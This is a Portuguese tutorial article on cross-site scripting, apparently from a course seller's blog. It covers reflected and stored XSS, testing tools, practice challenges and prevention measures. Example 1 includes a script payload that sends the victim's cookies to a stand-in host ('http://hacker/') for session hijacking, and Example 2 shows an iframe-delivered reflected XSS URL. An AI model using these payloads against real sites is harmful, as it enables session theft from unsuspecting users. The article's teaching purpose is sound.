O Cross-site scripting é uma vulnerabilidade de segurança em aplicações WEB muito séria, que ainda hoje é listada na lista criada pela OWASP como uma das 10 principais vulnerabilidades encontradas. Estes ataques permitem que os invasores injetem scripts do lado do cliente em páginas da web visualizadas por outros usuários. Estes scripts podem realizar diversas funções, como levar o usuário para uma página falsa, capturar os dados do computador pelo qual o acesso está sendo realizado, ou mesmo inserir um shell reverso com acesso à máquina do cliente.
Neste artigo trabalharemos os tipos de ataques XSS com exemplos, bem como a forma de se prevenir deste ataque.
Como funciona o XSS?
O ataque Cross-site scripiting funciona por meio do envio e injeção de código ou script malicioso em sites. O código malicioso geralmente é escrito com linguagens de programação que não precisam ser compiladas antes da execução como JavaScript, HTML, VBScript, Flash, etc. As principais linguagens utilizadas são JavaScript e HTML devido a sua popularidade.
Existem várias possibilidades de execução deste ataque, o script pode ser refletido no navegador da vítima ou armazenado no banco de dados e executado sempre, quando o usuário chama a função infectada.
Este ataque acontece porquê a validação da entrada de informações feita pelo usuário é feita da maneira incorreta, e códigos maliciosos podem ser inseridos e são executados pelo navegador do cliente. Um usuário mal intencionado pode inserir um script, que será injetado no código do site ou no banco de dados, em seguida o navegador não consegue diferir o código inserido entre malicioso ou não.
Existem várias formas de exploração desta vulnerabilidade, as principais são:
- Não persistente ou Refletida: esta vulnerabidade é a mais comum. Estas falhas aparecem quando os dados fornecidos por um cliente web, geralmente utilizando o protocolo HTTP ou envio de formulários HTML, é imediatamente utilizado pelos scripts do lado do servidor.
- Persistente (ou armazenados): esta é uma variante mais perigosa da vulnerabilidade, pois ocorre quando os scripts inseridos pelo atacante são salvos pelo servidor, e em seguida, exibidos em páginas “normais” retornadas para outros usuários
Exemplos de Injeção
Exemplo 1
Analisemos o seguinte código HTML:
<title>Example document: %(title)</title>
destina-se a ilustrar um snippet de modelo que, se o título da variável tiver o valor de Cross-Site Scripting , resulta na emissão do seguinte HTML para o navegador:
<title>Example document: XSS Doc</title>
Um site que contém um campo de pesquisa não possui a higienização adequada da entrada. Ao criar uma consulta de pesquisa parecida com esta:
"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>
sentado do outro lado, no servidor da web, você receberá hits em que, após um espaço duplo, é o cookie do usuário. Se um administrador clicar no link, um invasor poderá roubar a ID da sessão e sequestrar a sessão.
Exemplo 2
uponha que exista um URL no site do Google http://www.google.com/search?q=flowers, que retorne documentos HTML contendo o fragmento
<p>Your search for 'flowers' returned the following results:</p>
ou seja, o valor do parâmetro de consulta q é inserido na página retornada pelo Google. Suponha ainda que os dados não sejam validados, filtrados ou escapados.
O Evil.org pode colocar uma página que faça com que o seguinte URL seja carregado no navegador (por exemplo, em um <iframe> invisível ):
http://www.google.com/search?q=flowers+%3Cscript%3Eevil_script()%3C/script%3E
Quando uma vítima carrega esta página em www.evil.org , o navegador carrega o iframe no URL acima. O documento carregado no iframe agora conterá o fragmento
<p>Your search for 'flowers <script>evil_script()</script>'
returned the following results:</p>Carregar esta página fará com que o navegador execute evil_script () . Além disso, esse script será executado no contexto de uma página carregada em www.google.com .
Como testar esta vulnerabilidade?
Existem várias ferramentas que podem ajudar na descoberta desta vulnerabilidade. Trato de vária em meu Curso Segurança em Aplicações WEB de maneira avançada. Sugiro que se você se inscreva no mesmo, caso tenha interesse em aprofundar seu conhecimento em Segurança da Informação. Aproveite o preço promocional!
Dentre as principais estão:
- OWASP ZAP: Ferramenta gratuita com escaneamentos automáticos
- XSS-SCANNER: Projeto gratuito para escaneamento de sites em busca da vulnerabilidade
Onde testar minhas habilidades com XSS?
- Jogo do Google XSS – Criado em 2014, possui o objetivo de mostrar como é fácil explorar vulnerabilidades do XSS e de divulgar a segurança da informação.
- Alerta (1) para vencer – Trata-se de um conjunto de desafios criado em 2013, semelhante ao jogo do Google XSS. Possui 8 níveis cada vez mais difíceis que exploram diferentes aspectos do Cross-Site Scripting.
- Prompt (1) para vencer – Baseado no anterior, contém 20 desafios, sendo 4 ocultos e é o game mais difícil dos citados. Ele mostra o resultado das suas ações enquanto você digita, o código HTML e o resultado, mas ele não mostra o console, então você deve monitorar os erros por sua conta. Veja que os últimos níveis deste desafio podem ser impossíveis de se superar devido a alterações nos mecanismos dos navegadores.
- OWASP WebGoat – Este não é um site publicado online, e sim um aplicativo de código aberto que você pode baixar e executar. Ele te ajuda a aprender sobre os desafios que abrangem não apenas o XSS, mas várias outras vulnerabilidades.
Como evitar este ataque?
Comece auditando o controle de validação de dados de entrada (tudo que o usuário envia) e validação de dados de saída (tudo que o servidor envia), certificando-se que nada além do esperado é processado.
- Crie uma whitelist de caracteres permitidos, assim você evita não apenas vulnerabilidades de XSS como outras vulnerabilidades de injeção de código.
- Utilize uma codificação de confiança, como o UTF-8. E sim, encodings estão relacionados com XSS.
- Utilize um Web Application Firewall (WAF), mas não dependa apenas dele!
- Envie na resposta do servidor o header X-XSS-Protection: 1; mode=block, assim o navegador do usuário tentará bloquear XSS caso detecte.
- Utilize as flag HttpOnly nos cookies para não serem manipulados por Javascript e também a flag Secure para forçar o tráfego apenas por HTTPS.
- Confira outras recomendações na página da OWASP.
Quer aprender mais sobre esta e outras vulnerabilidades, e a se defender delas? Acesse agora o Curso Segurança em Aplicações WEB!
